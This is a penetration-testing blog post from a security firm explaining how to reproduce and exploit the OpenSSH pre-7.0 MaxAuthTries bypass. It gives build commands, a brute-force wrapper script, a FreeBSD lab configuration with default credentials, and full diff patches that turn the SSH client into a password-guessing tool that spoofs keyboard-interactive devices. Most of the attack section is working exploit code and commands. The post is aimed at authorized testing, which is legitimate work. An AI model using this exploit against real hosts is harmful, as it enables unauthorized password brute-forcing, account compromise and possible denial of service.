Chances are if you’re reading this article, you are in the middle of a penetration test against a fairly large enterprise with some legacy equipment hanging off the network. You’ve got your vulnerability scan results back, and Nessus has indicated that a host is vulnerable to an OpenSSH MaxAuthTries Bypass (Plugin ID 86122). There are still some lingering details hanging around from when the exploit was originally developed by KingCope in 2015, but practical exploitation in 2022 can be an exercise in debugging frustration – especially on a time-boxed test. This post aims to show you how to reproduce and exploit this issue, so you don’t feel compelled to report an issue you weren’t able to functionally test.
Keep in mind that execution of this attack may result in Denial of Service due to resource consumption on the target host.
Keyboard-Interactive authentication was defined in 2006 by The Internet Society to create a general-purpose authentication method for SSH. Also known as “ChallengeResponse” authentication, the basic premise is that instead of asking users for their password, additional modules can be flexibly added to the SSH server to allow authentication using another challenge-response method (e.g., Yubikey tokens). In practice, unless the SSH server has been configured to use a specific challenge-response method, Keyboard-Interactive will default to asking the user for their password anyways, making it somewhat confusing to tell which authentication method is in use.
In OpenSSH before 7.0, the server does not properly restrict the number of keyboard-interactive devices within a single connection. In this article, we’ll build a modified SSH client that accepts file input to spoof additional keyboard-interactive devices and bypass the MaxAuthTries value set on the server (six by default).
To exploit the issue, you will need to patch OpenSSH to allow the client to accept standard input for keyboard-interactive authentication. KingCope’s original post on WordPress has since been taken down, but thankfully is available on the Wayback Machine. KingCope’s post includes a diff patch, which we did not find to be as plug-and-play as one would hope: WordPress ate some characters due to its markup language, some of the line numbers and whitespace didn’t match up with the copy of OpenSSH-6.9p1 we downloaded, and compiling aging C code has its nuances too.
You can grab a copy of OpenSSH-6.9p1 here.
To build it, you will also need an older version of libssl and its headers:
sudo apt-get install libssl1.0-dev --fix-missing
Grab one of the patches from the end of the article, and apply it to sshconnect2.c from the extracted OpenSSH-6.9p1 archive. We use the normal diff patch here:
patch -b sshconnect2.c ~/sshconnect2.patch
Run configure within the openssh-6.9p1 directory, specifying the -fno-common compiler flag. This is necessary due to the legacy C code, developed during an era when GCC ignored errors if the “extern” declaration was omitted when declaring a global variable in a header file. GCC’s grown stubborn and now halts on these errors, so we need the flag to ask the compiler to ignore them. Then compile the project:
./configure --with-CFLAGS="-fcommon" CFLAGS="-fcommon" && make
Create sshcracker.sh, authored by KingCope in their original post. You’ll want to run it from the openssh-6.9p1 directory, or otherwise specify the full path for your newly compiled version of the SSH client:
#!/bin/bash # run as: # cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target # while true do ./ssh -vvv -l$1 $2 rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi echo Respawn due to login grace time... done
Although Nessus will report this vulnerability across platforms based on the version of SSH it detects, it only seems to be meaningfully exploitable on BSD systems (including MacOS). This is due to the delay that PAM introduces on most Linux systems after failed authentication; even if you can bypass MaxAuthTries, the delay will prevent you from executing an effective brute force attack. Certainly, still, give it a shot if you run into a Linux system that is flagged as vulnerable – perhaps it’s woefully misconfigured. But if you try to validate your new SSH client against a Linux system, you’re probably going to hit this roadblock.
To get up and running, grab a VM of FreeBSD 10.3 from osboxes.org. It comes with a normal user “osboxes” and a root user, both with the password “osboxes.org”. The “osboxes” user isn’t in the wheel group to be able to elevate to root, so just log in as root for configuration.
Edit /etc/ssh/sshd_config to include the following lines. Nano and vim aren’t available on the FreeBSD image by default, but vi and sshd are already there:
PasswordAuthentication no PubkeyAuthentication no ChallengeResponseAuthentication yes KbdInteractiveAuthentication yes UsePAM yes MaxAuthTries 6 AuthenticationMethods keyboard-interactive:pam
Restart the SSH daemon for the changes to take effect:
/etc/rc.d/sshd restart
Validate that keyboard-interactive authentication is working properly using your newly compiled SSH client before attempting the exploit script against a production target. If it’s working, the client will hang after printing the number of prompts, waiting for input from stdin (you may enter “openboxes.org” to complete the execution):
./ssh -vvv -o PreferredAuthentications=keyboard-interactive osboxes@<FREEBSD VM IP> […TRUNCATED…] debug1: Authentications that can continue: keyboard-interactive debug3: start over, passed a different list keyboard-interactive debug3: preferred keyboard-interactive debug3: authmethod_lookup keyboard-interactive debug3: remaining preferred: debug3: authmethod_is_enabled keyboard-interactive debug1: Next authentication method: keyboard-interactive debug2: userauth_kbdint debug2: we sent a keyboard-interactive packet, wait for reply debug2: input_userauth_info_req debug2: input_userauth_info_req: num_prompts 1
Append the known password (“osboxes.org”) to the end of a password list. For this example, we have appended it to a list of the top 100 passwords from rockyou. If you append it to a long file, you’ll have to wait for the script to consume the entire file before you can validate the result. Using a larger file will also give a feeling for the timing limitations of this attack and you can observe the processor load on the target FreeBSD machine:
tail ~/rockyoutop100.txt joseph junior softball taylor yellow daniela lauren mickey princesa osboxes.org
Note from the video above that the password attempts are printed to the screen in real-time. If you’re only capable of submitting a few passwords before being throttled, or you’re interrupted with a password prompt, chances are it isn’t feasibly exploitable – although probably still a good recommendation to update SSH or sunset the target box.
$ diff sshconnect2.c.orig sshconnect2.c
82a83
> char password[1024];
87d87
<
510,511c510,511
< authctxt->success = 1; /* break out */
< return 0;
---
> printf("*** Success. Password: %s\n", password);
> exit(0);
1377c1377,1378
<
---
> char *devicebuffer;
> int i;
1386c1387
<
---
>
1387a1389,1398
> devicebuffer = calloc(1, 200000);
> if (!devicebuffer) {
> fatal("cannot allocate devicebuffer");
> }
>
> for (i=0;i<200000-2;i+=2) {
> memcpy(devicebuffer + i, "p,", 2);
> }
> devicebuffer[200000] = 0;
>
1393,1394c1404
< packet_put_cstring(options.kbd_interactive_devices ?
< options.kbd_interactive_devices : "");
---
> packet_put_cstring(devicebuffer);
1408c1418
< char *name, *inst, *lang, *prompt, *response;
---
> char *name, *inst, *lang, *prompt;
1410,1411c1420
< int echo = 0;
<
---
> char *pos;
1443,1445c1452,1458
< echo = packet_get_char();
<
< response = read_passphrase(prompt, echo ? RP_ECHO : 0);
---
> packet_get_char();
> if (fgets(password, 1024, stdin) == NULL)
> exit(0);
> if ((pos=strchr(password, '\n')) != NULL)
> *pos = '\0';
> printf("%s\n", password);
> packet_put_cstring(password);
1447,1449d1459
< packet_put_cstring(response);
< explicit_bzero(response, strlen(response));
< free(response);
$ diff -u sshconnect2.c.orig sshconnect2.c
--- sshconnect2.c.orig 2022-01-11 11:38:26.914766978 -0500
+++ sshconnect2.c 2022-01-11 11:47:53.807039475 -0500
@@ -80,11 +80,11 @@
extern char *client_version_string;
extern char *server_version_string;
extern Options options;
+char password[1024];
/*
* SSH2 key exchange
*/
-
u_char *session_id2 = NULL;
u_int session_id2_len = 0;
@@ -507,8 +507,8 @@
authctxt->method->cleanup(authctxt);
free(authctxt->methoddata);
authctxt->methoddata = NULL;
- authctxt->success = 1; /* break out */
- return 0;
+ printf("*** Success. Password: %s\n", password);
+ exit(0);
}
int
@@ -1374,7 +1374,8 @@
userauth_kbdint(Authctxt *authctxt)
{
static int attempt = 0;
-
+ char *devicebuffer;
+ int i;
if (attempt++ >= options.number_of_password_prompts)
return 0;
/* disable if no SSH2_MSG_USERAUTH_INFO_REQUEST has been seen */
@@ -1383,15 +1384,24 @@
dispatch_set(SSH2_MSG_USERAUTH_INFO_REQUEST, NULL);
return 0;
}
-
+
debug2("userauth_kbdint");
+ devicebuffer = calloc(1, 200000);
+ if (!devicebuffer) {
+ fatal("cannot allocate devicebuffer");
+ }
+
+ for (i=0;i<200000-2;i+=2) {
+ memcpy(devicebuffer + i, "p,", 2);
+ }
+ devicebuffer[200000] = 0;
+
packet_start(SSH2_MSG_USERAUTH_REQUEST);
packet_put_cstring(authctxt->server_user);
packet_put_cstring(authctxt->service);
packet_put_cstring(authctxt->method->name);
packet_put_cstring(""); /* lang */
- packet_put_cstring(options.kbd_interactive_devices ?
- options.kbd_interactive_devices : "");
+ packet_put_cstring(devicebuffer);
packet_send();
dispatch_set(SSH2_MSG_USERAUTH_INFO_REQUEST, &input_userauth_info_req);
@@ -1405,10 +1415,9 @@
input_userauth_info_req(int type, u_int32_t seq, void *ctxt)
{
Authctxt *authctxt = ctxt;
- char *name, *inst, *lang, *prompt, *response;
+ char *name, *inst, *lang, *prompt;
u_int num_prompts, i;
- int echo = 0;
-
+ char *pos;
debug2("input_userauth_info_req");
if (authctxt == NULL)
@@ -1440,13 +1449,14 @@
debug2("input_userauth_info_req: num_prompts %d", num_prompts);
for (i = 0; i < num_prompts; i++) {
prompt = packet_get_string(NULL);
- echo = packet_get_char();
-
- response = read_passphrase(prompt, echo ? RP_ECHO : 0);
+ packet_get_char();
+ if (fgets(password, 1024, stdin) == NULL)
+ exit(0);
+ if ((pos=strchr(password, '\n')) != NULL)
+ *pos = '\0';
+ printf("%s\n", password);
+ packet_put_cstring(password);
- packet_put_cstring(response);
- explicit_bzero(response, strlen(response));
- free(response);
free(prompt);
}
packet_check_eom(); /* done with parsing incoming message. */
White Oak Security is a highly skilled and knowledgeable cyber security testing company that works hard to get into the minds of opponents to help protect those we serve from malicious threats through expertise, integrity, and passion.
Read more from White Oak Security’s pentesting team.